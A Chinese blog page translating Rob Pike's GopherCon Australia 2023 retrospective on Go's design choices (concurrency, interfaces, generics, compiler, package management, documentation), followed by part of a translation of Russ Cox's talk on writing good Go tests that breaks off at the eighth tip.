Ousterhout不喜欢线程\n谷歌的软件几乎总是避免使用它们，可以说是彻底禁止使用，而制定这一禁令的工程师引用了Ousterhout的言论。这让我很困扰。自20世纪70年代以来，我一直在做类似的并发事情，有时候甚至没有意识到，在我看来这很强大。但经过反思，很明显Ousterhout犯了两个错误。首先，他的结论超出了他有兴趣使用线程的领域，其次，他主要是在抱怨使用笨拙的低级包如pthread之类的线程，而不是抱怨这一基本思想。\n像这样混淆解决方案和问题是世界各地工程师常犯的错误。有时，提出的解决方案比它解决的问题更难，并且很难看到有更简单的路径。但我离题了。\n根据经验，我知道有更好的方法来使用线程，或者无论我们选择怎么称呼它们，我甚至在Go语言出现之前就曾就此发表过演讲。\nNewsqueak中的并发\n但我并不孤单，其他许多语言、论文甚至书籍都表明，并发编程可以做得很好，不仅我知道这一点。它只是还没有在主流中流行起来，Go的诞生部分地就是为了解决这个问题。在那次臭名昭著的45分钟构建中，我试图向一个非线程二进制文件添加一个线程，这非常困难，因为我们使用了错误的工具。\n回顾过去，我认为可以公平地说，Go在让编程界相信并发是一种强大工具方面发挥了重要作用，特别是在多核网络世界中，它可以比pthread做得更好。如今，大多数主流语言都对并发提供了很好地支持。\nGoogle 3.0\n另外，Go的并发版本在导致它出现的语言线中有些新颖，因为它使goroutine变得平淡无奇。没有协程，没有任务，没有线程，没有名称，只有goroutine。我们发明了“goroutine”这个词，因为没有适合的现有术语。时至今日，我仍然希望Unix的拼写命令可以学会它。\n顺便说一句，因为我经常被问到，让我花一分钟时间谈谈async/await。看到async/await模型及其相关风格成为许多语言选择支持并发的方式，我有点难过，但它肯定是对pthreads的巨大改进。\n与goroutine、channel和select相比，async/await对语言实现者来说更容易也更小，可以更容易地内建或后移植到现有平台中。但它将一些复杂性推回给了程序员，通常会导致Bob Nystrom所著名的“彩色函数”。\n你的函数是什么颜色的\n我认为Go表明了CSP这种不同但更古老的模型可以完美地嵌入到过程化语言中，没有这种复杂性。我甚至看到它几次作为库实现。但它的实现，如果做得好，需要显著的运行时复杂性，我可以理解为什么一些人更倾向于不在他们的系统中内置它。不管你提供什么并发模型，重要的是只提供一次，因为一个环境提供多个并发实现可能会很麻烦。Go当然通过把它放在语言中而不是库中解决了这个问题。\n关于这些问题可能要讲整场演讲，但目前就这些吧。\n并发的另一个价值在于，它使Go看起来像是全新的东西。如我所说，一些其他语言在之前已经支持了它，但它们从未进入主流，而Go对并发的支持是吸引初学者采用的一个主要因素，它吸引了以前没有使用过并发但对其可能性感兴趣的程序员。\n这就是我们犯下两个大错误的地方。\n耳语的Gopher(Cooperating Sequential Processes)\n首先，并发很有趣，我们很高兴拥有它，但我们设想的使用案例大多是服务器相关的，意在在net/http等关键库中完成，而不是在每个程序的所有地方完成。当许多程序员使用它时，他们努力研究它如何真正帮助他们。我们应该一开始就解释清楚，语言中的并发支持真正带到桌面的是更简单的服务器软件。这个问题空间对许多人很重要，但并非所有尝试Go的人都是如此，这点指导不足是我们的责任。\n相关的第二点是，我们用了太长时间来澄清并行和并发之间的区别——支持在多核机器上并行执行多个计算，以及一种组织代码的方式，以便很好地执行并行计算。\n并发不是并行\n无数程序员试图通过使用goroutine来并行化他们的代码以使其更快，但经常对结果中的速度降低感到困惑。仅当基础问题本质上是并行的时候，例如服务HTTP请求，并发代码才会通过并行化而变快。我们在解释这一点上做得很糟糕，结果让许多程序员感到困惑，可能还赶走了一些人。\n为了解决这个问题，我在2012年Waza上给Heroku的开发者大会做了一个题为“并发不是并行”的演讲。这是一次很有趣的演讲，但它应该更早发生。\n对此表示歉意。但好处仍然存在：Go帮助普及了并发性作为构建服务器软件的一种方式。\n接口 很明显，接口与并发都是Go中与众不同的思想。它们是Go对面向对象设计的答案，采用最初关注行为的风格，尽管新来者一直在努力使结构体承担这一角色。\n使接口动态化，无需提前宣布哪些类型实现了它们，这困扰了一些早期评论者，并且仍然恼火一小部分人，但它对Go培育的编程风格很重要。大部分标准库都是建立在它们的基础之上的，而更广泛的主题如测试和管理依赖也高度依赖于它们慷慨的“欢迎所有人”的天性。\n我觉得接口是Go中设计最好的部分之一。\n除了一些早期关于接口定义中是否应该包括数据的讨论之外，它们在讨论的第一天就已经成形。\nGIF 解码器：Go接口的练习（Rob Pike和Nigel Tao 2011）\n在这个问题上还有一个故事要讲。\n在Robert和我的办公室里那著名的第一天，我们讨论了关于多态性应该怎么处理的问题。Ken和我从C语言中知道qsort可以作为一个困难的测试用例，所以我们三个人开始讨论用我们这种初具雏形的语言如何实现一个类型安全的排序例程(routine)。\nRobert和我几乎同时产生了同样的想法：在类型上使用方法来提供排序所需的操作。这个概念很快发展成了一个想法，即值类型拥有作为方法定义的行为，一组方法可以提供函数可以操作的接口。Go的接口几乎立即就出现了。\nsort.Interface\n有一点没人经常提到：Go的sort函数是作为一个在接口上操作的函数实现的。这与大多数人熟悉的面向对象编程风格不同，但这是一个非常强大的想法。\n这个想法对我们来说非常激动人心，它可能成为一个基础的编程构造，这令我们陶醉。当Russ Cox加入时，他很快指出了I/O如何完美地融入这个想法，标准库的发展非常迅速，在很大程度上依赖于三个著名的接口：空接口(interface{})、Writer和Reader，每个接口平均包含两个第三个方法。那些微小的方法对Go来说是惯用法，无处不在。\n接口的工作方式不仅成为Go的一个显著特性，它们也成为我们思考库、泛型和组合的方式。这是让人兴奋的事情。\n但我们在这个问题上停止讨论可能是一个错误。\n你看，我们之所以走上这条路，至少在一定程度上是因为我们看到泛型编程太容易鼓励一种倾向于在算法之前首先关注类型的思考方式。过早抽象而不是有机设计。容器而不是函数。\n我们在语言中正确定义了通用容器——map，切片，数组，channel——而不给程序员访问它们所包含的泛型。这可以说是一个错误。我们相信，我认为仍然正确的是，大多数简单的编程任务可以很好地由这些类型来处理。但有一些不能，语言提供的和用户可以控制的之间的障碍肯定困扰了一些人。\n简而言之，尽管我不会改变接口的任何工作方式，但它们以需要十多年时间才能纠正的方式影响了我们的思维。Ian Taylor从一开始就推动我们面对这个问题，但在接口作为Go编程基石的情况下，这是相当困难的。\n评论者经常抱怨我们应该使用泛型，因为它们“很简单”，在某些语言中可能确实如此，但接口的存在意味着任何新的多态形式都必须考虑到它们。找到一种可以与语言的其余部分很好地协同工作的前进方法需要多次尝试，几次中止的实现，以及许多小时、天数和周数的讨论。最终，在Phil Wadler的带领下，我们召集了一些类型理论家来提供帮助。即使在语言中有了可靠的泛型模型，作为方法集存在的接口也仍然存在一些遗留问题。\n泛型版sort\n如你所知，最终的答案是设计一个可以吸收更多多态形式的接口泛化，从“方法集合”过渡到“类型集合”。这是一个微妙但深刻的举措，大多数社区似乎都可以接受，尽管我怀疑抱怨声永远不会停止。\n有时候要花很多年的时间来弄清楚一些事情，或者甚至弄清楚你并不能完全弄明白它。但你还是要继续前进。\n顺便说一句，我希望我们有一个比“泛型”更好的术语，它起源于表示一种不同的数据结构中心多态风格。“参数多态”是Go提供的该功能的正确术语，这是一个准确的术语，但它难听。于是我们依然说“泛型”，尽管它不太恰当。\n编译器 困扰编程语言社区的一件事是，早期的Go编译器是用C语言编写的。在他们看来，正确的方式是使用LLVM或类似的工具包，或者用Go语言本身编写编译器，这称为自举。我们没有做这两者中的任何一种，原因有几个。\n首先，自举一种新语言要求至少其编译器的第一步必须用现有语言完成。对我们来说，C语言是显而易见的选择，因为Ken已经编写了C编译器，并且其内部结构可以很好地作为Go编译器的基础。此外，用自己的语言编写编译器，同时开发该语言，往往会产生一种适合编写编译器的语言，但这不是我们想要的语言。\n早期的编译器工作良好，它可以很好地引导语言。但从某种意义上说，它有点奇怪，实际上它是一个Plan 9风格的编译器，使用旧的编译器编写思想，而不是新的思想，如静态单一赋值(SSA)。生成的代码平庸，内部不太漂亮。但它是务实高效的，编译器代码本身体积适中，对我们来说也很熟悉，这使得我们在尝试新想法时可以快速进行更改。一个关键步骤是添加自动增长的分段堆栈。这很容易添加到我们的编译器中，但是如果我们使用像LLVM这样的工具包，考虑到ABI和垃圾收集器支持所需的更改，将这种更改集成到完整的编译器套件中是不可行的。\n另一个工作良好的区域是交叉编译，这直接来自原始Plan 9编译器套件的工作方式。\n按照我们的方式行事，无论多么非正统，都有助于我们快速前进。有些人对这一选择感到冒犯，但这对当时的我们来说是正确的选择。\nGo 1.5之后的Go编译器架构\n对于Go 1.5版本，Russ Cox编写了一个工具，可以半自动将编译器从C转换为Go。到那时，语言已经完成，编译器导向的语言设计的担忧也就无关紧要了。有一些关于这个过程的在线演讲值得一看。我在2016年的GopherCon上做了一个关于汇编器的演讲，这在我毕生追求可移植性的过程中是一个高点。\nGo汇编器设计(GopherCon 2016)\n我们从C开始做了正确的事情，但最终将编译器翻译为Go，使我们能够将Go所具有的所有优势带到其开发中，包括测试、工具、自动重写、性能分析等。当前的编译器比原始编译器干净得多，并且可以生成更好的代码。但是，当然，这就是自举的工作原理。\n请记住，我们的目标不仅仅是一种语言，而是更多。\n我们不寻常的做法绝不是对LLVM或语言社区中任何人的侮辱。我们只是使用了最适合我们任务的工具。当然，今天有一个LLVM托管的Go编译器，以及许多其他应该有的编译器。\n项目管理 我们从一开始就知道，要成功，Go必须是一个开源项目。但我们也知道，在弄清楚关键的思想和有一个工作的实现之前，私下开发会更高效。头两年对澄清我们在试图实现什么，而不受干扰，是必不可少的。\n向开源的转变是一个巨大的改变，也很具教育意义。来自社区的投入是压倒性的。与社区的接触花费了大量的时间和精力，尤其是对Ian，不知怎么他找到时间来回答任何人提出的每一个问题。但它也带来了更多。我仍然惊叹在Alex Brainman的指导下，社区完全独立完成的Windows移植的速度。那很神奇。\n我们花了很长时间来理解转向开源项目的影响，以及如何管理它。\n特别是，公平地说，我们花了太长时间来理解与社区合作的最佳方式。本次演讲的一个主题是我们的沟通不足——即使我们认为我们正在进行良好沟通——由于误解和不匹配的期望，大量时间被浪费了。本可以做得更好。\n但是，随着时间的推移，我们说服了社区中的至少那一部分和我们在一起的人，我们的一些想法，虽然与常见的开源方式不同，但具有价值。最重要的是我们坚持通过强制代码审查和对细节的穷尽关注来维护高质量代码。\nMission Control (drawing by Renee French)\n一些项目的工作方式不同，它们快速接受代码，然后在提交后进行清理。Go项目则相反，力图将质量放在第一位。我相信这是更有效的方式，但它将更多的工作推回社区，如果他们不理解其价值，他们就不会感到应有的欢迎。在这方面还有很多东西要学习，但我相信现在的情况已经好多了。\n顺便说一句，有一个历史细节不是广泛为人知的。该项目使用过4个不同的内容管理系统：SVN、Perforce、Mercurial和Git。Russ Cox做了一份艰巨的工作，保留了所有历史，所以即使今天，Git仓库也包含了在SVN中做出的最早的更改。我们都认为保留历史很有价值，我要感谢他做了这项艰苦的工作。\n还有一点。人们经常认为谷歌会告诉Go团队该做什么。这绝对不是真的。谷歌对Go的支持非常慷慨，但它不制定议程。社区的投入要大得多。谷歌内部有一个巨大的Go代码库，团队用它来测试和验证版本，但这是通过从公共仓库导入谷歌完成的，而不是反过来。简而言之，核心Go团队由谷歌支付薪水，但他们是独立的。\n包管理 Go的包管理开发过程做得并不好。我相信，语言本身的包设计非常出色，并且在我们讨论的第一年左右的时间里消耗了大量的时间。如果你感兴趣的话，我之前提到的SPLASH演讲详细解释了它为什么会这样工作。\n一个关键点是使用纯字符串来指定导入语句中的路径，从而提供了我们正确认为很重要的灵活性。但从只有一个“标准库”到从网络导入代码的转变是坎坷的。\n修复云（Renee French 绘制）\n有两个问题。\n首先，我们这些Go核心团队的成员很早就熟悉Google的工作方式，包括它的monorepo(单一代码仓库)和每个人都在负责构建。但是我们没有足够的经验来使用具有大量包版本的包管理器以及尝试解决依赖关系图的非常困难的问题。直到今天，很少有人真正理解技术的复杂性，但这并不能成为我们未能从一开始就解决这些问题的借口。这尤其令人尴尬，因为我曾是一个失败项目的技术负责人，为谷歌的内部构建做类似的事情，我应该意识到我们面临的是什么。\ndeps.dev\n我在deps.dev上的工作是一种忏悔。\n其次，让社区参与帮助解决依赖管理问题的初衷是好的，但当最终设计出来时，即使有大量的文档和有关理论的文章，社区中的许多人仍然感到受到了轻视。\npkg.go.dev\n这次失败给团队上了一课，让他们知道如何真正与社区互动，并且自此取得了很大的进步。\n不过，现在事情已经解决了，新的设计在技术上非常出色，并且似乎对大多数用户来说效果很好。只是时间太长，而且道路崎岖不平。\n文档和示例 我们事先没有得到的另一件事是文档。我们写了很多文档，并认为我们做得很好，但很快就发现社区想要的文档级别与我们的预期不同。\n修理图灵机的Gopher（Renee French 绘图）\n关键缺失的一部分是最简单函数的示例。我们曾以为只需说明某个东西的功能就足够了，但我们花费了太长时间才接受到展示如何使用它的价值更大。\n可执行的例子\n不过，我们已经吸取了教训。现在文档中有很多示例，大部分是由开源贡献者提供的。我们很早就做的一件事就是让它们在网络上可执行。我在2012年的Google I/O大会上做了一次演讲，展示了并发的实际应用，Andrew Gerrand 编写了一段可爱的Web goo，使得直接从浏览器运行代码片段成为可能。我怀疑这是第一次这样做，但Go是一种编译语言，很多观众以前从未见过这个技巧。然后该技术被部署到博客和在线包文档中。\nGo playground\n也许更重要的是我们对Go Playground的支持，这是一个免费的开放沙箱，供人们尝试，甚至开发代码。\n结论 我们已经走了很长一段路。\n回顾过去，很明显很多事情都做得对，并且它们都帮助Go取得了成功。但还有很多事情可以做得更好，重要的是要承认这些问题并从中学习。对于任何托管重要开源项目的人来说，双方都有教训。\n我希望我对这些教训及其原因的历史回顾会有所帮助，也许可以作为对那些反对我们正在做的事情和我们如何做的人的一种道歉/解释。\nGopherConAU 2023 吉祥物，作者：Renee French\n但在推出 14 年后，我们终于来了。公平地说，总的来说这是一个非常好的地方。\n很大程度上是因为通过设计和开发Go作为一种编写软件的方式（而不仅仅是作为一种编程语言）做出的决定，我们已经到达了一个新的地方。\n我们到达这里的部分原因包括：\n一个强大的标准库，可实现服务器代码所需的大部分基础知识 并发作为该语言的“一等公民” 基于组合而不是继承的方法 澄清依赖管理的打包模型 集成的快速构建和测试工具 严格一致的代码格式 注重可读性而非聪明性 兼容性保证 最重要的是，得益于令人难以置信的乐于助人且多元化的Gophers社区的支持。\n多元化的社区（@tenntennen 绘图）\n也许这些问题最有趣的结果是，无论是谁编写的Go代码的外观和工作原理都是一样的，基本上没有使用该语言的不同子集的派系，并且保证随着时间的推移代码可继续编译和运行。对于主要编程语言来说，这可能是第一次。\n我们绝对做对了。\n谢谢。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2024年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/01/07/what-we-got-right-what-we-got-wrong/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/what-we-got-right-what-we-got-wrong-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/01/07/what-we-got-right-what-we-got-wrong\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/01/07/what-we-got-right-what-we-got-wrong\"\u003ehttps://tonybai.com/2024/01/07/what-we-got-right-what-we-got-wrong\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在《\u003ca href=\"https://tonybai.com/2023/12/31/the-2023-review-of-go-programming-language/\"\u003e2023年Go语言盘点：稳中求新，稳中求变\u003c/a\u003e》和《\u003ca href=\"https://tonybai.com/2024/01/01/go-testing-by-example/\"\u003eGo测试的20个实用建议\u003c/a\u003e》两篇文章中，我都提到过已经退居二线的\u003ca href=\"https://tonybai.com/2023/12/11/simplicity/\"\u003eGo语言之父Rob Pike\u003c/a\u003e在\u003ca href=\"https://tonybai.com/2023/11/11/go-opensource-14-years/\"\u003eGo开源14周年\u003c/a\u003e的那天亲自在GopherCon Australia 2023上发表了“What We Got Right, What We Got Wrong”的主题演讲来回顾Go诞生以来的得与失。近期\u003ca href=\"https://commandcenter.blogspot.com/2024/01/what-we-got-right-what-we-got-wrong.html\"\u003eRob Pike终于将这次演进的文字稿发布了出来\u003c/a\u003e！\u003ca href=\"https://www.youtube.com/watch?v=yE5Tpp2BSGw\"\u003eGopherCon Australia也在油管上发布了这个演进的视频\u003c/a\u003e。Rob Pike的观点对所有Gopher都是极具参考价值的，因此在这篇博文中，我将Rob Pike的这次演讲稿翻译成中文，供大家参考(结合文字稿和视频)，我们一起来领略和学习大师的观点。\u003c/p\u003e","title":"Go语言之父的反思：我们做对了什么，做错了什么"},{"content":"\n本文永久链接 – https://tonybai.com/2024/01/01/go-testing-by-example\n2023年11月初，Go语言技术负责人Russ Cox在GopherCon Australia 2023大会上进行了题为“Go Testing By Example”的演讲：\n12月初Russ Cox重新录制了该演讲内容的视频，并在个人网站上放了出来。这个演讲视频是关于如何编写好的Go测试的，Russ Cox介绍了20个实用建议，非常值得Go初学者甚至Go资深开发者学习并应用到实践中。这里是基于该视频整理的文字稿(可能并非逐字逐句)，供广大Gopher参考。\n注：在GopherCon Australia 2023，退休后暂定居澳大利亚的Go语言之父Rob Pike也做了一个名为“What We Got Right, What We Got Wrong”的主题演讲。在Go开源14年之后，有很多事情值得思考。这个演讲“事后诸葛亮般地”探讨了Go迄今为止取得的一些经验教训：不仅包括进展顺利的方面，还包括本可以做得更好的方面。可惜目前该演讲视频或文字稿并未放出，我们也只能等待。\n大家好！这是几周前我在GopherCon Australia 2023进行的一次演讲，演讲的内容是关于如何编写好的测试。\n不过首先让我们来思考一下为什么我们要编写测试。一些有关编程的书中常讲到：测试是为了发现程序中的错误！比如Brian W. Kernighan和Rob Pike合著的《The Practice of Programming》一书中讲到：“测试是一种坚定的、系统地尝试，旨在破坏你认为可以正确运行的程序”。这是真实的。这就是为什么程序员应该编写测试。但对于今天在这里的大多数人来说，这不是我们编写测试的原因，因为我们不仅仅是程序员，我们是软件工程师。什么意思呢？我想说的是，软件工程就是当你编程时增加时间和其他程序员时所发生的事情。编程意味着让程序运行，你有一个问题需要解决，你编写一些代码，运行它，测试它，调试它，得到答案，你就完成了。这本已经相当困难了，而测试是该过程的重要组成部分。但软件工程意味着你在长期与其他人一起开发的程序中完成所有这些工作，这改变了测试的性质。\n让我们先看一个对二分查找函数的测试：\n如图所示，这个函数接受一个有序(sorted)切片、一个目标值(target)和一个比较函数(cmp)。它使用二分搜索算法查找并返回两个内容：第一，如果目标存在，则返回其索引(index)，第二是一个布尔值，指示目标是否存在。\n大多数二分查找算法的实现都有错误，这个也不例外。我们来测试一下。\n下面是一个很好的二分搜索的交互式测试：\n你输入两个数字n和t，测试程序便创建一个包含n个元素的切片，其元素值按10倍增，然后程序在切片中搜索t并打印结果，然后你反复重复这一过程。\n这可能看起来不足为奇，但有多少人曾经通过运行这种交互式测试程序来测试生产环境用的代码(production code)？我们所有人都这样做过。当你独自编程时，像这样的交互式测试程序对于查找bug非常有用，到目前为止代码看起来可以正常工作。\n但这个交互式测试程序只适合独自编程时使用，如果你从事软件工程，意味着你要长时间保持程序的运行，并与其他人合作，那么这种类型的测试程序就不太有用了。\n你需要一种每个人都可以在日常工作中运行的测试程序，可以在他们编写代码的同时运行，并且可以由计算机在每次代码提交时自动运行。问题在于仅通过手动测试程序只能确保它在今天正常工作，而自动化、持续的测试可以确保它在明天和未来都可以正常工作，即使其他不熟悉这段代码的人开始对其进行维护。并且我们要明确一点：那个不太熟悉代码的人可能是指未来六个月甚至六周后的你。\n这是一个软件工程师的测试。你可以在不了解代码工作原理的情况下运行它。任何同事或任何计算机都可以使用”go test”运行该测试，并可以立即知道该测试是否通过。我肯定你已经见过这样的测试了。\n软件工程的理想是拥有能够捕捉到后续可能出现的所有错误的测试。如果你的测试达到了这个理想状态，那么当你的所有测试都通过时，你应该可以放心地自动将你的代码部署到生产环境中，这就是人们所称的持续部署。如果你还没有这样做，如果这个想法让你感到紧张，那么你应该问问自己为什么。要么你的测试已经足够好，要么它们还不够好。如果它们足够好，那为什么不这样做呢？而如果它们不够好，那就倾听这些疑虑，并找出它们告诉你哪些测试被遗漏了。\n几年前，我正在为新的Go官方网站go.dev编写代码。那时我们还在手动部署该网站，并且至少每周一次。我做的一项代码变更在我的机器上运行正常，但在部署到生产环境后便无法正常工作了，这着实令人非常烦恼和尴尬。解决办法是进行更好的测试和自动化的持续部署。现在，每当代码库中有新的提交时，我们使用一个Cloud Build程序来运行本地测试，并将代码推送到一个全新的服务器，然后运行一些只能在生产环境中运行的测试。如果一切正常，我们会将流量打到新的服务器。这样做改善了两点。首先，我不再导致令人尴尬的网站宕机。其次，每个人都不再需要考虑如何部署网站。如果他们想做变更，比如修复拼写错误或添加新的博客文章，他们只需发送更改请求，对其进行审核、测试和提交，然后自动化流程会完成其余工作。\n要确信当其他人更改代码时你的程序不会出错，要确信只要测试通过就可以随时将程序推送到生产环境，你需要一套非常好的测试。但是什么样的测试才算是好的呢？\n一般来说，使测试代码优秀的因素与使非测试代码优秀的因素是相同的：勤奋(hard work)、专注(attention)和时间(time)。对于编写优秀的测试代码，我没有什么“银弹式”的或硬性的规则，就像编写优秀的非测试代码一样。然而，我确实有一系列基于我们在Go上的良好实践的建议，我将在这次演讲中分享20个编写优秀测试代码的实用建议。\n建议1：让添加新测试用例变得容易 这是最重要的建议。因为如果添加一个新测试用例很困难，你就不会去做。在这方面，Go已经提供了很好的支持。\n上图是函数Foo的一个最简单的测试。我们专门设计了Go测试，使其非常容易编写。没有繁杂的记录或仪式会妨碍你。在包级别的测试中，这已经相当不错了，但在特定的包中，你可以做得更好。\n我相信你已经了解了表驱动测试。我们鼓励使用表驱动测试，因为它们非常容易添加新的测试用例。这是我们之前看到的那个测试用例：假设我们只有这一个测试用例，然后我们想到了一个新的测试用例。我们根本不需要编写任何新的代码，只需要添加一行新的数据。如果目标是“使添加新的测试用例变得容易”，那么对于像这样的简单函数，向表中添加一行数据就足够了。不过，这也引出了一个问题：我们应该添加哪些测试用例？这将引导我们来到下一个建议。\n建议2：使用测试覆盖率来发现未经测试的代码 毕竟，测试无法捕捉到未运行的代码中的错误。Go内置了对测试覆盖率的支持。下面是它的样子：\n你可以运行“go test -coverprofile”来生成一个覆盖率文件，然后使用“go tool cover”在浏览器中查看它。在上图的显示中，我们可以看到我们的测试用例还不够好：实际的二分查找代码是红色的，表示完全未经测试。下一步是查看未经测试的代码，并思考什么样的测试用例会使这些代码行运行。\n经过仔细检查，我们只测试了一个空切片，所以让我们添加一个非空的切片的测试用例。现在我们可以再次运行覆盖率测试。这次我将用我写的一个小命令行程序“uncover”来读取覆盖率文件。Uncover会显示未被测试覆盖的代码行。它不会给你网页视图那样的全局视图，但它可以让你保持在一个终端窗口中。Uncover向我们展示了只剩下一行代码未被测试执行。这是进入切片的第二半部分的行，这是有道理的，因为我们的目标是第一个元素。让我们再添加一个测试，搜索最后一个元素。\n当我们运行测试时，它通过了，我们达到了100%的覆盖率。很棒。我们完成了吗？没有，这将引导我们到下一个实用建议。\n建议3：覆盖率不能替代思考 覆盖率对于指出你可能忽略的代码部分非常有用，但机械工具无法替代对于高难度的输入、代码中的微妙之处以及可能导致代码出错的情况进行的实际思考。即使代码拥有100%的测试覆盖率，仍然可能存在bug，而这段代码就存在bug。这个提示也适用于覆盖率驱动的模糊测试(fuzzing test)。模糊测试只是尝试通过代码探索越来越多的路径，以增加覆盖率。模糊测试也非常有帮助，但模糊测试也不能替代思考。那么这里缺少了什么呢？\n需要注意的一点是，唯一一个无法找到目标的测试用例是一个空输入切片。我们应该检查在具值的切片中无法找到目标的情况。具体来说，我们应该检查当目标小于所有值、大于所有值和位于值的中间时会发生什么。所以让我们添加三个额外的测试用例。\n注意添加新测试用例是多么容易。如果你想到一个你的代码可能无法正确处理的情况，添加该测试用例应该尽可能简单，否则你就会觉得麻烦而不去添加。如果太困难，你就不会添加。你还可以看到我们正在开始列举这个函数可能出错的所有重要路径。这些测试对未来的开发进行了约束，以确保二分查找至少能够正常工作。当我们运行这些测试时，它们失败了。返回的索引i是正确的，但表示target是否找到的布尔值是错误的。所以让我们来看看这个问题。\n阅读代码，我们发现返回语句中的布尔表达式是错误的。它只检查索引是否在范围内。它还需要检查该索引处的值是否等于target值。所以我们可以进行这个更改，如图所示，然后测试通过了。现在我们对这个测试感到非常满意：覆盖率是良好的，我们也经过了深思熟虑。还能做什么呢？\n建议4：编写全面的测试 如果你能够测试函数的每一个可能输入，那就应该这样做。但现实中可能无法做到，但通常你可以在一定约束条件下测试特定数量以内的所有输入。下面是一个二分查找的全面测试：\n我们首先创建一个包含10个元素的切片，具体来说就是从1到19的奇数。然后我们考虑该切片的所有可能长度的前缀。对于每个前缀，我们考虑从0到两倍长度的所有可能目标，其中0是小于切片中的所有值，两倍长度是大于切片中的所有值。这将详尽地测试每个可能的搜索路径，以及长度不超过我们的限制10的所有可能尺寸的切片。但是现在我们怎么知道答案是什么呢？我们可以根据测试用例的具体情况进行一些数学计算，但有一种更好、更通用的方法。这种方法是编写一个与真正实现不同的参考实现。理想情况下，参考实现应该明显是正确的，但它只需与真实实现采用不同的方法即可。通常，参考实现将是一种更简单、更慢的方法，因为如果它更简单和更快，你会将其用作真正的实现。在这种情况下，我们的参考实现称为slowFind。测试检查slowFind和Find是否可以在答案上达成一致。由于输入很小，slowFind可以采用一个简单的线性搜索。\n通过生成所有可能的输入并将结果与简单的参考实现进行比较，这种模式非常强大。它做的一件重要的事情是覆盖了所有基本情况，例如0个元素的切片、1个元素的切片、长度为奇数的切片、长度为偶数的切片、长度为2的幂的切片等等。大多数程序中的绝大多数错误都可以通过小规模的输入进行重现，因此测试所有小规模的输入非常有效。事实证明，这个全面测试通过了。我们的思考相当不错。\n现在，如果全面测试失败，那意味着Find和slowFind不一致，至少有一个有bug，但我们不知道是哪一个有问题。添加一个直接测试slowFind会有所帮助，而且很容易，因为我们已经有了一个测试数据表。这是表驱动测试的另一个好处：可以使用这些表来测试多个实现。\n建议5：将测试用例与测试逻辑分开 在表驱动测试中，测试用例在表中，而处理这些测试用例的循环则是测试逻辑。正如我们刚才所看到的，将它们分开可以让你在多个上下文中使用相同的测试用例。那么现在我们的二分查找函数完成了吗？事实证明没有，还有一个bug存在，这引导我们到下一个问题。\n建议6：寻找特殊情况 即使我们对所有小规模情况进行了全面测试，仍然可能存在潜在的bug：\n现在，这里再次展示了代码。还剩下一个bug。你可以暂停视频，花一些时间来查看它。\n有人看出bug在哪里了吗？如果你没有看到，没关系。这是一个非常特殊的情况，人们花了几十年的时间才注意到它。Knuth告诉我们，尽管二分查找在1946年发表，但第一个正确的二分查找实现直到1964年才发表。但是这个bug直到2006年才被发现。\nbug是这样的，如果切片中的元素数量非常接近int的最大值，那么i+j会溢出，因此i+j/2就不是切片中间位置的正确计算方法了。这个bug于2006年在一个使用64位内存和32位整数的C程序中被发现，这个程序用于索引包含超过10亿个元素的数组。在Go语言中，这种特定组合基本上不会发生，因为我们要求使用64位内存时，也要使用64位整数，这正是为了避免这种bug。但是，由于我们了解到这个bug，而且你永远不知道你或其他人将来如何修改代码，所以避免这个bug是值得的。\n有两种常见的修复方法可以避免数学计算溢出。速度稍快的方法是进行无符号除法。假设我们修复了这个问题。现在我们完成了吗？不。因为我们还没有编写测试。\n建议7：如果你没有添加测试，那就没有修复bug 这句话在两个不同的方面下都是正确的。\n第一个是编程方面。如果你没有进行测试，bug可能根本没有被修复。这听起来可能很愚蠢，但你有多少次遇到过这种情况？有人告诉你有一个bug，你立即知道修复方法。你进行了更改，并告诉他们问题已经修复。然后他们却回来告诉你，不，问题还存在。编写测试可以避免这种尴尬。你可以说，很抱歉我没有修复你的bug，但我确实修复了一个bug，并会再次查看这个问题。\n第二个是软件工程方面，即“时间和其他程序员”的方面。bug并不是随机出现的。在任何给定的程序中，某些错误比其他错误更有可能发生。因此，如果你犯了一次这个错误，你或其他人很可能在将来再次犯同样的错误。如果没有测试来阻止它们，bug就会重新出现。\n现在，这个特定的测试很难编写，因为输入范围非常大，但即使测试很难编写，这个建议仍然成立。实际上，在这种情况下，这个建议通常更为正确。\n为了测试这种情况，一种可能性是编写一个仅在32位系统上运行的测试，对两千兆字节的uint8进行二分查找。但这需要大量的内存，并且我们现在已经没有多少32位系统了。对于测试这种难以找到的bug，通常还有更巧妙的解决方案。我们可以创建一个空结构体的切片，无论它有多长，都不会占用内存。这个测试在一个包含MaxInt个空结构体的切片上调用Find函数，寻找一个空结构体作为目标，但是它传入了一个总是返回-1的比较函数，声称切片元素小于目标。这将使二分查找探索越来越大的切片索引，从而导致溢出问题。如果我们撤销我们的修复并运行这个测试，那么测试肯定会失败。\n而使用了我们的修复后，测试通过了。现在bug已经修复了。\n建议8：并非所有东西都适合放在表中 